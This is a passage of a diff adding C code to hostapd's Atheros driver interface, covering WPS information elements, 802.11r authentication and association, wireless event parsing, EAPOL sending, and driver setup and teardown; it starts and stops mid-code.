(stype) { + case WLAN_FC_STYPE_ACTION: + if (&mgmt->u.action.category > buf + len) + break; + os_memset(&event, 0, sizeof(event)); + event.rx_action.da = mgmt->da; + event.rx_action.sa = mgmt->sa; + event.rx_action.bssid = mgmt->bssid; + event.rx_action.category = mgmt->u.action.category; + event.rx_action.data = &mgmt->u.action.category; + event.rx_action.len = buf + len - event.rx_action.data; + wpa_supplicant_event(drv->hapd, EVENT_RX_ACTION, &event); + break; + default: + break; + } +} +#endif /* CONFIG_WNM */ + +#if defined(CONFIG_WPS) || defined(CONFIG_IEEE80211R) || defined(CONFIG_WNM) +static void atheros_raw_receive(void *ctx, const u8 *src_addr, const u8 *buf, + size_t len) +{ +#ifdef CONFIG_WPS + atheros_raw_recv_wps(ctx, src_addr, buf, len); +#endif /* CONFIG_WPS */ +#ifdef CONFIG_IEEE80211R + atheros_raw_recv_11r(ctx, src_addr, buf, len); +#endif /* CONFIG_IEEE80211R */ +#if defined(CONFIG_WNM) && !defined(CONFIG_IEEE80211R) + atheros_raw_recv_11v(ctx, src_addr, buf, len); +#endif /* CONFIG_WNM */ +#ifdef CONFIG_HS20 + atheros_raw_recv_hs20(ctx, src_addr, buf, len); +#endif /* CONFIG_HS20 */ +} +#endif /* CONFIG_WPS || CONFIG_IEEE80211R */ + +static int atheros_receive_pkt(struct atheros_driver_data *drv) +{ + int ret = 0; + struct ieee80211req_set_filter filt; + + wpa_printf(MSG_DEBUG, "%s Enter", __func__); + filt.app_filterype = 0; +#ifdef CONFIG_WPS + filt.app_filterype |= IEEE80211_FILTER_TYPE_PROBE_REQ; +#endif /* CONFIG_WPS */ +#ifdef CONFIG_IEEE80211R + filt.app_filterype |= (IEEE80211_FILTER_TYPE_ASSOC_REQ | + IEEE80211_FILTER_TYPE_AUTH | + IEEE80211_FILTER_TYPE_ACTION); +#endif +#ifdef CONFIG_WNM + filt.app_filterype |= IEEE80211_FILTER_TYPE_ACTION; +#endif /* CONFIG_WNM */ +#ifdef CONFIG_HS20 + filt.app_filterype |= IEEE80211_FILTER_TYPE_ACTION; +#endif /* CONFIG_HS20 */ + if (filt.app_filterype) { + ret = set80211priv(drv, IEEE80211_IOCTL_FILTERFRAME, &filt, + sizeof(struct ieee80211req_set_filter)); + if (ret) + return ret; + } + +#if defined(CONFIG_WPS) || defined(CONFIG_IEEE80211R) + drv->sock_raw = l2_packet_init(drv->iface, NULL, ETH_P_80211_RAW, + atheros_raw_receive, drv, 1); + if (drv->sock_raw == NULL) + return -1; +#endif /* CONFIG_WPS || CONFIG_IEEE80211R */ + return ret; +} + +static int atheros_reset_appfilter(struct atheros_driver_data *drv) +{ + struct ieee80211req_set_filter filt; + filt.app_filterype = 0; + return set80211priv(drv, IEEE80211_IOCTL_FILTERFRAME, &filt, + sizeof(struct ieee80211req_set_filter)); +} + +#ifdef CONFIG_WPS +static int +atheros_set_wps_ie(void *priv, const u8 *ie, size_t len, u32 frametype) +{ + struct atheros_driver_data *drv = priv; + u8 buf[512]; + struct ieee80211req_getset_appiebuf *beac_ie; + + wpa_printf(MSG_DEBUG, "%s buflen = %lu frametype=%u", __func__, + (unsigned long) len, frametype); + wpa_hexdump(MSG_DEBUG, "atheros: IE", ie, len); + + beac_ie = (struct ieee80211req_getset_appiebuf *) buf; + beac_ie->app_frmtype = frametype; + beac_ie->app_buflen = len; + os_memcpy(&(beac_ie->app_buf[0]), ie, len); + + /* append the WPA/RSN IE if it is set already */ + if (((frametype == IEEE80211_APPIE_FRAME_BEACON) || + (frametype == IEEE80211_APPIE_FRAME_PROBE_RESP)) && + (drv->wpa_ie != NULL)) { + wpa_hexdump_buf(MSG_DEBUG, "atheros: Append WPA/RSN IE", + drv->wpa_ie); + os_memcpy(&(beac_ie->app_buf[len]), wpabuf_head(drv->wpa_ie), + wpabuf_len(drv->wpa_ie)); + beac_ie->app_buflen += wpabuf_len(drv->wpa_ie); + } + + wpa_hexdump(MSG_DEBUG, "atheros: SET_APPIEBUF", + beac_ie->app_buf, beac_ie->app_buflen); + return set80211priv(drv, IEEE80211_IOCTL_SET_APPIEBUF, beac_ie, + sizeof(struct ieee80211req_getset_appiebuf) + + beac_ie->app_buflen); +} + +static int +atheros_set_ap_wps_ie(void *priv, const struct wpabuf *beacon, + const struct wpabuf *proberesp, + const struct wpabuf *assocresp) +{ + struct atheros_driver_data *drv = priv; + + wpa_hexdump_buf(MSG_DEBUG, "atheros: set_ap_wps_ie - beacon", beacon); + wpa_hexdump_buf(MSG_DEBUG, "atheros: set_ap_wps_ie - proberesp", + proberesp); + wpa_hexdump_buf(MSG_DEBUG, "atheros: set_ap_wps_ie - assocresp", + assocresp); + wpabuf_free(drv->wps_beacon_ie); + drv->wps_beacon_ie = beacon ? wpabuf_dup(beacon) : NULL; + wpabuf_free(drv->wps_probe_resp_ie); + drv->wps_probe_resp_ie = proberesp ? wpabuf_dup(proberesp) : NULL; + + atheros_set_wps_ie(priv, assocresp ? wpabuf_head(assocresp) : NULL, + assocresp ? wpabuf_len(assocresp) : 0, + IEEE80211_APPIE_FRAME_ASSOC_RESP); + if (atheros_set_wps_ie(priv, beacon ? wpabuf_head(beacon) : NULL, + beacon ? wpabuf_len(beacon) : 0, + IEEE80211_APPIE_FRAME_BEACON)) + return -1; + return atheros_set_wps_ie(priv, + proberesp ? wpabuf_head(proberesp) : NULL, + proberesp ? wpabuf_len(proberesp): 0, + IEEE80211_APPIE_FRAME_PROBE_RESP); +} +#else /* CONFIG_WPS */ +#define atheros_set_ap_wps_ie NULL +#endif /* CONFIG_WPS */ + +#ifdef CONFIG_IEEE80211R +static int +atheros_sta_auth(void *priv, const u8 *own_addr, const u8 *addr, u16 seq, + u16 status_code, const u8 *ie, size_t len) +{ + struct atheros_driver_data *drv = priv; + struct ieee80211req_mlme mlme; + int ret; + + wpa_printf(MSG_DEBUG, "%s: addr=%s status_code=%d", + __func__, ether_sprintf(addr), status_code); + + mlme.im_op = IEEE80211_MLME_AUTH; + mlme.im_reason = status_code; + mlme.im_seq = seq; + os_memcpy(mlme.im_macaddr, addr, IEEE80211_ADDR_LEN); + mlme.im_optie_len = len; + if (len) { + if (len < IEEE80211_MAX_OPT_IE) { + os_memcpy(mlme.im_optie, ie, len); + } else { + wpa_printf(MSG_DEBUG, "%s: Not enough space to copy " + "opt_ie STA (addr " MACSTR " reason %d, " + "ie_len %d)", + __func__, MAC2STR(addr), status_code, + (int) len); + return -1; + } + } + ret = set80211priv(drv, IEEE80211_IOCTL_SETMLME, &mlme, sizeof(mlme)); + if (ret < 0) { + wpa_printf(MSG_DEBUG, "%s: Failed to auth STA (addr " MACSTR + " reason %d)", + __func__, MAC2STR(addr), status_code); + } + return ret; +} + +static int +atheros_sta_assoc(void *priv, const u8 *own_addr, const u8 *addr, + int reassoc, u16 status_code, const u8 *ie, size_t len) +{ + struct atheros_driver_data *drv = priv; + struct ieee80211req_mlme mlme; + int ret; + + wpa_printf(MSG_DEBUG, "%s: addr=%s status_code=%d reassoc %d", + __func__, ether_sprintf(addr), status_code, reassoc); + + if (reassoc) + mlme.im_op = IEEE80211_MLME_REASSOC; + else + mlme.im_op = IEEE80211_MLME_ASSOC; + mlme.im_reason = status_code; + os_memcpy(mlme.im_macaddr, addr, IEEE80211_ADDR_LEN); + mlme.im_optie_len = len; + if (len) { + if (len < IEEE80211_MAX_OPT_IE) { + os_memcpy(mlme.im_optie, ie, len); + } else { + wpa_printf(MSG_DEBUG, "%s: Not enough space to copy " + "opt_ie STA (addr " MACSTR " reason %d, " + "ie_len %d)", + __func__, MAC2STR(addr), status_code, + (int) len); + return -1; + } + } + ret = set80211priv(drv, IEEE80211_IOCTL_SETMLME, &mlme, sizeof(mlme)); + if (ret < 0) { + wpa_printf(MSG_DEBUG, "%s: Failed to assoc STA (addr " MACSTR + " reason %d)", + __func__, MAC2STR(addr), status_code); + } + return ret; +} +#endif /* CONFIG_IEEE80211R */ + +static void +atheros_new_sta(struct atheros_driver_data *drv, u8 addr[IEEE80211_ADDR_LEN]) +{ + struct hostapd_data *hapd = drv->hapd; + struct ieee80211req_wpaie ie; + int ielen = 0; + u8 *iebuf = NULL; + + /* + * Fetch negotiated WPA/RSN parameters from the system. + */ + memset(&ie, 0, sizeof(ie)); + memcpy(ie.wpa_macaddr, addr, IEEE80211_ADDR_LEN); + if (set80211priv(drv, IEEE80211_IOCTL_GETWPAIE, &ie, sizeof(ie))) { + /* + * See ATH_WPS_IE comment in the beginning of the file for a + * possible cause for the failure.. + */ + wpa_printf(MSG_DEBUG, "%s: Failed to get WPA/RSN IE: %s", + __func__, strerror(errno)); + goto no_ie; + } + wpa_hexdump(MSG_MSGDUMP, "atheros req WPA IE", + ie.wpa_ie, IEEE80211_MAX_OPT_IE); + wpa_hexdump(MSG_MSGDUMP, "atheros req RSN IE", + ie.rsn_ie, IEEE80211_MAX_OPT_IE); +#ifdef ATH_WPS_IE + wpa_hexdump(MSG_MSGDUMP, "atheros req WPS IE", + ie.wps_ie, IEEE80211_MAX_OPT_IE); +#endif /* ATH_WPS_IE */ + iebuf = ie.wpa_ie; + /* atheros seems to return some random data if WPA/RSN IE is not set. + * Assume the IE was not included if the IE type is unknown. */ + if (iebuf[0] != WLAN_EID_VENDOR_SPECIFIC) + iebuf[1] = 0; + if (iebuf[1] == 0 && ie.rsn_ie[1] > 0) { + /* atheros-ng svn #1453 added rsn_ie. Use it, if wpa_ie was not + * set. This is needed for WPA2. */ + iebuf = ie.rsn_ie; + if (iebuf[0] != WLAN_EID_RSN) + iebuf[1] = 0; + } + + ielen = iebuf[1]; + +#ifdef ATH_WPS_IE + /* if WPS IE is present, preference is given to WPS */ + if (ie.wps_ie && + (ie.wps_ie[1] > 0 && (ie.wps_ie[0] == WLAN_EID_VENDOR_SPECIFIC))) { + iebuf = ie.wps_ie; + ielen = ie.wps_ie[1]; + } +#endif /* ATH_WPS_IE */ + + if (ielen == 0) + iebuf = NULL; + else + ielen += 2; + +no_ie: + drv_event_assoc(hapd, addr, iebuf, ielen, 0); + + if (memcmp(addr, drv->acct_mac, ETH_ALEN) == 0) { + /* Cached accounting data is not valid anymore. */ + memset(drv->acct_mac, 0, ETH_ALEN); + memset(&drv->acct_data, 0, sizeof(drv->acct_data)); + } +} + +static void +atheros_wireless_event_wireless_custom(struct atheros_driver_data *drv, + char *custom, char *end) +{ + wpa_printf(MSG_DEBUG, "Custom wireless event: '%s'", custom); + + if (strncmp(custom, "MLME-MICHAELMICFAILURE.indication", 33) == 0) { + char *pos; + u8 addr[ETH_ALEN]; + pos = strstr(custom, "addr="); + if (pos == NULL) { + wpa_printf(MSG_DEBUG, + "MLME-MICHAELMICFAILURE.indication " + "without sender address ignored"); + return; + } + pos += 5; + if (hwaddr_aton(pos, addr) == 0) { + union wpa_event_data data; + os_memset(&data, 0, sizeof(data)); + data.michael_mic_failure.unicast = 1; + data.michael_mic_failure.src = addr; + wpa_supplicant_event(drv->hapd, + EVENT_MICHAEL_MIC_FAILURE, &data); + } else { + wpa_printf(MSG_DEBUG, + "MLME-MICHAELMICFAILURE.indication " + "with invalid MAC address"); + } + } else if (strncmp(custom, "STA-TRAFFIC-STAT", 16) == 0) { + char *key, *value; + u32 val; + key = custom; + while ((key = strchr(key, '\n')) != NULL) { + key++; + value = strchr(key, '='); + if (value == NULL) + continue; + *value++ = '\0'; + val = strtoul(value, NULL, 10); + if (strcmp(key, "mac") == 0) + hwaddr_aton(value, drv->acct_mac); + else if (strcmp(key, "rx_packets") == 0) + drv->acct_data.rx_packets = val; + else if (strcmp(key, "tx_packets") == 0) + drv->acct_data.tx_packets = val; + else if (strcmp(key, "rx_bytes") == 0) + drv->acct_data.rx_bytes = val; + else if (strcmp(key, "tx_bytes") == 0) + drv->acct_data.tx_bytes = val; + key = value; + } +#ifdef CONFIG_WPS + } else if (strncmp(custom, "PUSH-BUTTON.indication", 22) == 0) { + /* Some atheros kernels send push button as a wireless event */ + /* PROBLEM! this event is received for ALL BSSs ... + * so all are enabled for WPS... ugh. + */ + wpa_supplicant_event(drv->hapd, EVENT_WPS_BUTTON_PUSHED, NULL); +#endif /* CONFIG_WPS */ +#if defined(CONFIG_WPS) || defined(CONFIG_IEEE80211R) || defined(CONFIG_HS20) +#define MGMT_FRAM_TAG_SIZE 30 /* hardcoded in driver */ + } else if (strncmp(custom, "Manage.prob_req ", 16) == 0) { + /* + * Atheros driver uses a hack to pass Probe Request frames as a + * binary data in the custom wireless event. The old way (using + * packet sniffing) didn't work when bridging. + * Format: "Manage.prob_req " | zero padding | frame + */ + int len = atoi(custom + 16); + if (len < 0 || custom + MGMT_FRAM_TAG_SIZE + len > end) { + wpa_printf(MSG_DEBUG, "Invalid Manage.prob_req event " + "length %d", len); + return; + } + atheros_raw_receive(drv, NULL, + (u8 *) custom + MGMT_FRAM_TAG_SIZE, len); + } else if (strncmp(custom, "Manage.assoc_req ", 17) == 0) { + /* Format: "Manage.assoc_req " | zero padding | + * frame */ + int len = atoi(custom + 17); + if (len < 0 || custom + MGMT_FRAM_TAG_SIZE + len > end) { + wpa_printf(MSG_DEBUG, "Invalid Manage.prob_req/" + "assoc_req/auth event length %d", len); + return; + } + atheros_raw_receive(drv, NULL, + (u8 *) custom + MGMT_FRAM_TAG_SIZE, len); + } else if (strncmp(custom, "Manage.action ", 14) == 0) { + /* Format: "Manage.assoc_req " | zero padding | + * frame */ + int len = atoi(custom + 14); + if (len < 0 || custom + MGMT_FRAM_TAG_SIZE + len > end) { + wpa_printf(MSG_DEBUG, "Invalid Manage.prob_req/" + "assoc_req/auth event length %d", len); + return; + } + atheros_raw_receive(drv, NULL, + (u8 *) custom + MGMT_FRAM_TAG_SIZE, len); + } else if (strncmp(custom, "Manage.auth ", 12) == 0) { + /* Format: "Manage.auth " | zero padding | frame + */ + int len = atoi(custom + 12); + if (len < 0 || custom + MGMT_FRAM_TAG_SIZE + len > end) { + wpa_printf(MSG_DEBUG, "Invalid Manage.prob_req/" + "assoc_req/auth event length %d", len); + return; + } + atheros_raw_receive(drv, NULL, + (u8 *) custom + MGMT_FRAM_TAG_SIZE, len); +#endif /* CONFIG_WPS or CONFIG_IEEE80211R */ + } +} + +/* +* Handle size of data problem. WEXT only allows data of 256 bytes for custom +* events, and p2p data can be much bigger. So the athr driver sends a small +* event telling me to collect the big data with an ioctl. +* On the first event, send all pending events to supplicant. +*/ +static void fetch_pending_big_events(struct atheros_driver_data *drv) +{ + union wpa_event_data event; + const struct ieee80211_mgmt *mgmt; + u8 tbuf[IW_PRIV_SIZE_MASK]; /* max size is 2047 bytes */ + u16 fc, stype; + struct iwreq iwr; + size_t data_len; + u32 freq, frame_type; + + while (1) { + os_memset(&iwr, 0, sizeof(iwr)); + os_strlcpy(iwr.ifr_name, drv->iface, IFNAMSIZ); + + iwr.u.data.pointer = (void *) tbuf; + iwr.u.data.length = sizeof(tbuf); + iwr.u.data.flags = IEEE80211_IOC_P2P_FETCH_FRAME; + + if (ioctl(drv->ioctl_sock, IEEE80211_IOCTL_P2P_BIG_PARAM, &iwr) + < 0) { + if (errno == ENOSPC) { + wpa_printf(MSG_DEBUG, "%s:%d exit", + __func__, __LINE__); + return; + } + wpa_printf(MSG_DEBUG, "athr: %s: P2P_BIG_PARAM[" + "P2P_FETCH_FRAME] failed: %s", + __func__, strerror(errno)); + return; + } + data_len = iwr.u.data.length; + wpa_hexdump(MSG_DEBUG, "athr: P2P_FETCH_FRAME data", + (u8 *) tbuf, data_len); + if (data_len < sizeof(freq) + sizeof(frame_type) + 24) { + wpa_printf(MSG_DEBUG, "athr: frame too short"); + continue; + } + os_memcpy(&freq, tbuf, sizeof(freq)); + os_memcpy(&frame_type, &tbuf[sizeof(freq)], + sizeof(frame_type)); + mgmt = (void *) &tbuf[sizeof(freq) + sizeof(frame_type)]; + data_len -= sizeof(freq) + sizeof(frame_type); + + if (frame_type == IEEE80211_EV_RX_MGMT) { + fc = le_to_host16(mgmt->frame_control); + stype = WLAN_FC_GET_STYPE(fc); + + wpa_printf(MSG_DEBUG, "athr: EV_RX_MGMT stype=%u " + "freq=%u len=%u", stype, freq, (int) data_len); + + if (stype == WLAN_FC_STYPE_ACTION) { + os_memset(&event, 0, sizeof(event)); + event.rx_mgmt.frame = (const u8 *) mgmt; + event.rx_mgmt.frame_len = data_len; + wpa_supplicant_event(drv->hapd, EVENT_RX_MGMT, + &event); + continue; + } + } else { + wpa_printf(MSG_DEBUG, "athr: %s unknown type %d", + __func__, frame_type); + continue; + } + } +} + +static void +atheros_wireless_event_atheros_custom(struct atheros_driver_data *drv, + int opcode, char *buf, int len) +{ + switch (opcode) { + case IEEE80211_EV_RX_MGMT: + wpa_printf(MSG_DEBUG, "WEXT: EV_RX_MGMT"); + fetch_pending_big_events(drv); + break; + default: + break; + } +} + +static void +atheros_wireless_event_wireless(struct atheros_driver_data *drv, + char *data, int len) +{ + struct iw_event iwe_buf, *iwe = &iwe_buf; + char *pos, *end, *custom, *buf; + + pos = data; + end = data + len; + + while (pos + IW_EV_LCP_LEN <= end) { + /* Event data may be unaligned, so make a local, aligned copy + * before processing. */ + memcpy(&iwe_buf, pos, IW_EV_LCP_LEN); + wpa_printf(MSG_MSGDUMP, "Wireless event: cmd=0x%x len=%d", + iwe->cmd, iwe->len); + if (iwe->len <= IW_EV_LCP_LEN) + return; + + custom = pos + IW_EV_POINT_LEN; + if (drv->we_version > 18 && + (iwe->cmd == IWEVMICHAELMICFAILURE || + iwe->cmd == IWEVASSOCREQIE || + iwe->cmd == IWEVCUSTOM)) { + /* WE-19 removed the pointer from struct iw_point */ + char *dpos = (char *) &iwe_buf.u.data.length; + int dlen = dpos - (char *) &iwe_buf; + memcpy(dpos, pos + IW_EV_LCP_LEN, + sizeof(struct iw_event) - dlen); + } else { + memcpy(&iwe_buf, pos, sizeof(struct iw_event)); + custom += IW_EV_POINT_OFF; + } + + switch (iwe->cmd) { + case IWEVEXPIRED: + drv_event_disassoc(drv->hapd, + (u8 *) iwe->u.addr.sa_data); + break; + case IWEVREGISTERED: + atheros_new_sta(drv, (u8 *) iwe->u.addr.sa_data); + break; + case IWEVASSOCREQIE: + /* Driver hack.. Use IWEVASSOCREQIE to bypass + * IWEVCUSTOM size limitations. Need to handle this + * just like IWEVCUSTOM. + */ + case IWEVCUSTOM: + if (custom + iwe->u.data.length > end) + return; + buf = malloc(iwe->u.data.length + 1); + if (buf == NULL) + return; /* XXX */ + memcpy(buf, custom, iwe->u.data.length); + buf[iwe->u.data.length] = '\0'; + + if (iwe->u.data.flags != 0) { + atheros_wireless_event_atheros_custom( + drv, (int) iwe->u.data.flags, + buf, len); + } else { + atheros_wireless_event_wireless_custom( + drv, buf, buf + iwe->u.data.length); + } + free(buf); + break; + } + + pos += iwe->len; + } +} + + +static void +atheros_wireless_event_rtm_newlink(void *ctx, + struct ifinfomsg *ifi, u8 *buf, size_t len) +{ + struct atheros_driver_data *drv = ctx; + int attrlen, rta_len; + struct rtattr *attr; + + if (ifi->ifi_index != drv->ifindex) + return; + + attrlen = len; + attr = (struct rtattr *) buf; + + rta_len = RTA_ALIGN(sizeof(struct rtattr)); + while (RTA_OK(attr, attrlen)) { + if (attr->rta_type == IFLA_WIRELESS) { + atheros_wireless_event_wireless( + drv, ((char *) attr) + rta_len, + attr->rta_len - rta_len); + } + attr = RTA_NEXT(attr, attrlen); + } +} + + +static int +atheros_get_we_version(struct atheros_driver_data *drv) +{ + struct iw_range *range; + struct iwreq iwr; + int minlen; + size_t buflen; + + drv->we_version = 0; + + /* + * Use larger buffer than struct iw_range in order to allow the + * structure to grow in the future. + */ + buflen = sizeof(struct iw_range) + 500; + range = os_zalloc(buflen); + if (range == NULL) + return -1; + + memset(&iwr, 0, sizeof(iwr)); + os_strlcpy(iwr.ifr_name, drv->iface, IFNAMSIZ); + iwr.u.data.pointer = (caddr_t) range; + iwr.u.data.length = buflen; + + minlen = ((char *) &range->enc_capa) - (char *) range + + sizeof(range->enc_capa); + + if (ioctl(drv->ioctl_sock, SIOCGIWRANGE, &iwr) < 0) { + perror("ioctl[SIOCGIWRANGE]"); + free(range); + return -1; + } else if (iwr.u.data.length >= minlen && + range->we_version_compiled >= 18) { + wpa_printf(MSG_DEBUG, "SIOCGIWRANGE: WE(compiled)=%d " + "WE(source)=%d enc_capa=0x%x", + range->we_version_compiled, + range->we_version_source, + range->enc_capa); + drv->we_version = range->we_version_compiled; + } + + os_free(range); + return 0; +} + + +static int +atheros_wireless_event_init(struct atheros_driver_data *drv) +{ + struct netlink_config *cfg; + + atheros_get_we_version(drv); + + cfg = os_zalloc(sizeof(*cfg)); + if (cfg == NULL) + return -1; + cfg->ctx = drv; + cfg->newlink_cb = atheros_wireless_event_rtm_newlink; + drv->netlink = netlink_init(cfg); + if (drv->netlink == NULL) { + os_free(cfg); + return -1; + } + + return 0; +} + + +static int +atheros_send_eapol(void *priv, const u8 *addr, const u8 *data, size_t data_len, + int encrypt, const u8 *own_addr, u32 flags) +{ + struct atheros_driver_data *drv = priv; + unsigned char buf[3000]; + unsigned char *bp = buf; + struct l2_ethhdr *eth; + size_t len; + int status; + + /* + * Prepend the Ethernet header. If the caller left us + * space at the front we could just insert it but since + * we don't know we copy to a local buffer. Given the frequency + * and size of frames this probably doesn't matter. + */ + len = data_len + sizeof(struct l2_ethhdr); + if (len > sizeof(buf)) { + bp = malloc(len); + if (bp == NULL) { + printf("EAPOL frame discarded, cannot malloc temp " + "buffer of size %lu!\n", (unsigned long) len); + return -1; + } + } + eth = (struct l2_ethhdr *) bp; + memcpy(eth->h_dest, addr, ETH_ALEN); + memcpy(eth->h_source, own_addr, ETH_ALEN); + eth->h_proto = host_to_be16(ETH_P_EAPOL); + memcpy(eth+1, data, data_len); + + wpa_hexdump(MSG_MSGDUMP, "TX EAPOL", bp, len); + + status = l2_packet_send(drv->sock_xmit, addr, ETH_P_EAPOL, bp, len); + + if (bp != buf) + free(bp); + return status; +} + +static void +handle_read(void *ctx, const u8 *src_addr, const u8 *buf, size_t len) +{ + struct atheros_driver_data *drv = ctx; + drv_event_eapol_rx(drv->hapd, src_addr, buf + sizeof(struct l2_ethhdr), + len - sizeof(struct l2_ethhdr)); +} + +static void * +atheros_init(struct hostapd_data *hapd, struct wpa_init_params *params) +{ + struct atheros_driver_data *drv; + struct ifreq ifr; + struct iwreq iwr; + char brname[IFNAMSIZ]; + + drv = os_zalloc(sizeof(struct atheros_driver_data)); + if (drv == NULL) { + printf("Could not allocate memory for atheros driver data\n"); + return NULL; + } + + drv->hapd = hapd; + drv->ioctl_sock = socket(PF_INET, SOCK_DGRAM, 0); + if (drv->ioctl_sock < 0) { + perror("socket[PF_INET,SOCK_DGRAM]"); + goto bad; + } + memcpy(drv->iface, params->ifname, sizeof(drv->iface)); + + memset(&ifr, 0, sizeof(ifr)); + os_strlcpy(ifr.ifr_name, drv->iface, sizeof(ifr.ifr_name)); + if (ioctl(drv->ioctl_sock, SIOCGIFINDEX, &ifr) != 0) { + perror("ioctl(SIOCGIFINDEX)"); + goto bad; + } + drv->ifindex = ifr.ifr_ifindex; + + drv->sock_xmit = l2_packet_init(drv->iface, NULL, ETH_P_EAPOL, + handle_read, drv, 1); + if (drv->sock_xmit == NULL) + goto bad; + if (l2_packet_get_own_addr(drv->sock_xmit, params->own_addr)) + goto bad; + os_memcpy(drv->own_addr, params->own_addr, ETH_ALEN); + if (params->bridge[0]) { + wpa_printf(MSG_DEBUG, "Configure bridge %s for EAPOL traffic.", + params->bridge[0]); + drv->sock_recv = l2_packet_init(params->bridge[0], NULL, + ETH_P_EAPOL, handle_read, drv, + 1); + if (drv->sock_recv == NULL) + goto bad; + } else if (linux_br_get(brname, drv->iface) == 0) { + wpa_printf(MSG_DEBUG, "Interface in bridge %s; configure for " + "EAPOL receive", brname); + drv->sock_recv = l2_packet_init(brname, NULL, ETH_P_EAPOL, + handle_read, drv, 1); + if (drv->sock_recv == NULL) + goto bad; + } else + drv->sock_recv = drv->sock_xmit; + + memset(&iwr, 0, sizeof(iwr)); + os_strlcpy(iwr.ifr_name, drv->iface, IFNAMSIZ); + + iwr.u.mode = IW_MODE_MASTER; + + if (ioctl(drv->ioctl_sock, SIOCSIWMODE, &iwr) < 0) { + perror("ioctl[SIOCSIWMODE]"); + printf("Could not set interface to master mode!\n"); + goto bad; + } + + /* mark down during setup */ + linux_set_iface_flags(drv->ioctl_sock, drv->iface, 0); + atheros_set_privacy(drv, 0); /* default to no privacy */ + + if (atheros_receive_pkt(drv)) + goto bad; + + if (atheros_wireless_event_init(drv)) + goto bad; + + return drv; +bad: + atheros_reset_appfilter(drv); + if (drv->sock_raw) + l2_packet_deinit(drv->sock_raw); + if (drv->sock_recv != NULL && drv->sock_recv != drv->sock_xmit) + l2_packet_deinit(drv->sock_recv); + if (drv->sock_xmit != NULL) + l2_packet_deinit(drv->sock_xmit); + if (drv->ioctl_sock >= 0) + close(drv->ioctl_sock); + if (drv != NULL) + free(drv); + return NULL; +} + + +static void +atheros_deinit(void *priv) +{ + struct atheros_driver_data *drv = priv; + + atheros_reset_appfilter(drv); + netlink_deinit(drv->netlink); + (void) linux_set_iface_flags(drv->ioctl_sock, drv->iface, 0); + if (drv->ioctl_sock >= 0) + close(drv->ioctl_sock); + if (drv->sock_recv != NULL && drv->sock_recv != drv->sock_xmit) + l2_packet_deinit(drv->sock_recv); + if (drv->sock_xmit != NULL) + l2_packet_deinit(drv->sock_xmit); + if (drv->sock_raw) + l2_packet_deinit(drv->sock_raw); + wpabuf_free(drv->wpa_ie); + wpabuf_free(drv->wps_beacon_ie); + wpabuf_free(drv->wps_probe_resp_ie); + free(drv); +} + +static int +atheros_set_ssid(void *priv, const u8 *buf, int len) +{ + struct atheros_driver_data *drv = priv; + struct iwreq iwr; + + memset(&iwr, 0, sizeof(iwr)); + os_strlcpy(iwr.ifr_name, drv->iface, IFNAMSIZ); + iwr.u.essid.flags = 1; /* SSID active */ + iwr.u.essid.pointer = (caddr_t) buf; + iwr.u.essid.length = len + 1; + + if (ioctl(drv->ioctl_sock, SIOCSIWESSID, &iwr) < 0) { + perror("ioctl[SIOCSIWESSID]"); + printf("len=%d\n", len); + return -1; + } + return 0; +} + +static int +atheros_get_ssid(void *priv, u8 *buf, int len) +{ + struct atheros_driver_data *drv = priv; + struct iwreq iwr; + int ret = 0; + + memset(&iwr, 0, sizeof(iwr)); + os_strlcpy(iwr.ifr_name, drv->iface, IFNAMSIZ); + iwr.u.essid.pointer = (caddr_t) buf; + iwr.u.essid.length = (len > IW_ESSID_MAX_SIZE) ? + IW_ESSID_MAX_SIZE : len; + + if (ioctl(drv->ioctl_sock, SIOCGIWESSID, &iwr) < 0) { + perror("ioctl[SIOCGIWESSID]"); + ret = -1; + } else + ret = iwr.u.essid.length; + + return ret; +} + +static int +atheros_set_countermeasures(void *priv, int enabled) +{ + struct atheros_driver_data *drv = priv; + wpa_printf(MSG_DEBUG, "%s: enabled=%d", __FUNCTION__, enabled); + return set80211param(drv, IEEE80211_PARAM_COUNTERMEASURES, enabled); +} + +static int +atheros_commit(void *priv) +{ + struct atheros_driver_data *drv = priv; + return linux_set_iface_flags(drv->ioctl_sock, drv->iface, 1); +} + +static int atheros_set_authmode(void *priv, int auth_algs) +{ + int authmode; + + if ((auth_algs & WPA_AUTH_ALG_OPEN) && + (auth_algs & WPA_AUTH_ALG_SHARED)) + authmode = IEEE80211_AUTH_AUTO; + else if (auth_algs & WPA_AUTH_ALG_OPEN) + authmode = IEEE80211_AUTH_OPEN; + else if (auth_algs & WPA_AUTH_ALG_SHARED) + authmode = IEEE80211_AUTH_SHARED; + else + return -1; + + return set80211param(priv, IEEE80211_PARAM_AUTHMODE, authmode); +} + +static int atheros_set_ap(void *priv, struct wpa_driver_ap_params *params) +{ + /* + * TODO: Use this to replace set_authmode, set_privacy, set_ieee8021x, + * set_generic_elem, and hapd_set_ssid. + */ + + wpa_printf(MSG_DEBUG, "atheros: set_ap - pairwise_ciphers=0x%x " + "group_cipher=0x%x key_mgmt_suites=0x%x auth_algs=0x%x " + "wpa_version=0x%x privacy=%d interworking=%d", + params->pairwise_ciphers, params->group_cipher, + params->key_mgmt_suites, params->auth_algs, + params->wpa_version, params->privacy, params->interworking); + wpa_hexdump_ascii(MSG_DEBUG, "atheros: SSID", + params->ssid, params->ssid_len); + if (params->hessid) + wpa_printf(MSG_DEBUG, "atheros: HESSID " MACSTR, + MAC2STR(params->hessid)); + wpa_hexdump_buf(MSG_DEBUG, "atheros: beacon_ies", + params->beacon_ies); + wpa_hexdump_buf(MSG_DEBUG, "atheros: proberesp_ies", + params->proberesp_ies); + wpa_hexdump_buf(MSG_DEBUG, "atheros: assocresp_ies", + params->assocresp_ies); + + return 0; +} + + +#ifdef CONFIG_IEEE80211R + +static int atheros_send_mgmt(void *priv, const u8 *frm, size_t data_len, + int noack) +{ + struct atheros_driver_data *drv = priv; + u8 buf[1510]; + const struct ieee80211_mgmt *mgmt; + struct ieee80211req_mgmtbuf *mgmt_frm; + + mgmt = (const struct ieee80211_mgmt *) frm; + wpa_printf(MSG_DEBUG, "%s frmlen = %lu " MACSTR, __func__, + (unsigned long) data_len, MAC2STR(mgmt->da)); + mgmt_frm = (struct ieee80211req_mgmtbuf *) buf; + memcpy(mgmt_frm->macaddr, (u8 *)mgmt->da, IEEE80211_ADDR_LEN); + mgmt_frm->buflen = data_len; + if (&mgmt_frm->buf[0] + data_len > buf + sizeof(buf)) { + wpa_printf(MSG_INFO, "atheros: Too long frame for " + "atheros_send_mgmt (%u)", (unsigned int) data_len); + return -1; + } + os_memcpy(&mgmt_frm->buf[0], frm, data_len); + return set80211priv(drv, IEEE80211_IOCTL_SEND_MGMT, mgmt_frm, + sizeof(struct 